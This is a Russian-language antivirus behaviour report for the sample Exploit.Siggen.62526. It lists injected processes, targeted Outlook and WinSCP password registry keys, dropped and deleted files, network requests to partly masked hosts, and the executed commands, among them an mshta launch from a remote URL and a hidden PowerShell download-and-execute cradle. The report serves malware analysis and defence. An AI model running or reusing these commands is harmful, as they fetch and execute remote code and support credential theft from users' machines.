Exploit.Siggen.62526

Техническая информация

Вредоносные функции

Загружает файлы и запускает на исполнение.

Запускает на исполнение (эксплоит)

'%WINDIR%\syswow64\mshta.exe' http://45.##.139.186:9090/hjf &AAAAAAAC

Внедряет код в

следующие системные процессы:

%WINDIR%\syswow64\regsvr32.exe

Ищет ветки реестра, отвечающие за хранение паролей сторонними программами

[<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook]
[<HKCU>\Software\Martin Prikryl\WinSCP 2\Sessions\]

Изменения в файловой системе

Создает следующие файлы

%TEMP%\outofprocreport1245926.txt
%TEMP%\2fda\api-ms-win-crt-filesystem-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-heap-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-locale-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-math-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-multibyte-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-private-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-process-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-runtime-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-stdio-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-string-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-time-l1-1-0.dll
%TEMP%\2fda\freebl3.dll
%PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
%TEMP%\2fda\mozglue.dll
%TEMP%\2fda\msvcp140.dll
%TEMP%\2fda\nss3.dll
%TEMP%\2fda\nssdbm3.dll
%TEMP%\2fda\softokn3.dll
%TEMP%\2fda\ucrtbase.dll
%TEMP%\2fda\vcruntime140.dll
%TEMP%\12524064229579477952508.tmp
%TEMP%\1252468141237949135463.tmp
%PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
%PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
%TEMP%\2fda\api-ms-win-crt-environment-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-utility-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-convert-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-localization-l1-2-0.dll
%TEMP%\2fda\api-ms-win-core-console-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-datetime-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-debug-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-errorhandling-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-file-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-file-l1-2-0.dll
%TEMP%\2fda\api-ms-win-core-file-l2-1-0.dll
%TEMP%\2fda\api-ms-win-core-handle-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-heap-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-interlocked-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-libraryloader-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-memory-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-util-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-namedpipe-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-processenvironment-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-processthreads-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-processthreads-l1-1-1.dll
%TEMP%\2fda\api-ms-win-core-profile-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-rtlsupport-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-string-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-synch-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-synch-l1-2-0.dll
%TEMP%\2fda\api-ms-win-core-sysinfo-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-timezone-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-conio-l1-1-0.dll
%LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol

Удаляет следующие файлы

%TEMP%\12524064229579477952508.tmp
%TEMP%\2fda\api-ms-win-crt-convert-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-environment-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-filesystem-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-heap-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-locale-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-math-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-multibyte-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-private-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-process-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-libraryloader-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-runtime-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-string-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-time-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-utility-l1-1-0.dll
%TEMP%\2fda\freebl3.dll
%TEMP%\2fda\mozglue.dll
%TEMP%\2fda\msvcp140.dll
%TEMP%\2fda\nss3.dll
%TEMP%\2fda\nssdbm3.dll
%TEMP%\2fda\softokn3.dll
%TEMP%\2fda\api-ms-win-core-util-l1-1-0.dll
%TEMP%\2fda\api-ms-win-crt-conio-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-timezone-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-sysinfo-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-synch-l1-2-0.dll
%TEMP%\2fda\api-ms-win-core-console-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-datetime-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-debug-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-errorhandling-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-file-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-file-l1-2-0.dll
%TEMP%\2fda\api-ms-win-core-file-l2-1-0.dll
%TEMP%\2fda\api-ms-win-core-handle-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-heap-l1-1-0.dll
%TEMP%\2fda\ucrtbase.dll
%TEMP%\2fda\api-ms-win-crt-stdio-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-interlocked-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-memory-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-namedpipe-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-processenvironment-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-processthreads-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-processthreads-l1-1-1.dll
%TEMP%\2fda\api-ms-win-core-profile-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-rtlsupport-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-string-l1-1-0.dll
%TEMP%\2fda\api-ms-win-core-synch-l1-1-0.dll
%TEMP%\1252468141237949135463.tmp
%TEMP%\2fda\api-ms-win-core-localization-l1-2-0.dll
%TEMP%\2fda\vcruntime140.dll

Сетевая активность

TCP

Запросы HTTP GET

http://45.##.139.186:9090/hjf via 45.##.139.186
http://45.##.139.186:9090/_Incapsula_Resource?SW############################# via 45.##.139.186
http://45.##.139.186:9090/get via 45.##.139.186
http://www.m9#.net/uploads/15846105861.jpg

Запросы HTTP POST

http://tr###cendem.com/loci/index.php

UDP

DNS ASK m9#.net
DNS ASK tr###cendem.com

Другое

Создает и запускает на исполнение

'%WINDIR%\syswow64\mshta.exe' http://45.##.139.186:9090/hjf &AAAAAAAC' (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[<#000#>Net.WebRequest<#000#>]::GetSystemWebProxy();$V.Proxy.Credentials=[<#000#>Net.CredentialCache<#000#>]::DefaultCredentials;IEX($V...' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c <SYSTEM32>\timeout.exe 3 & del "regsvr32.exe"' (со скрытым окном)

Запускает на исполнение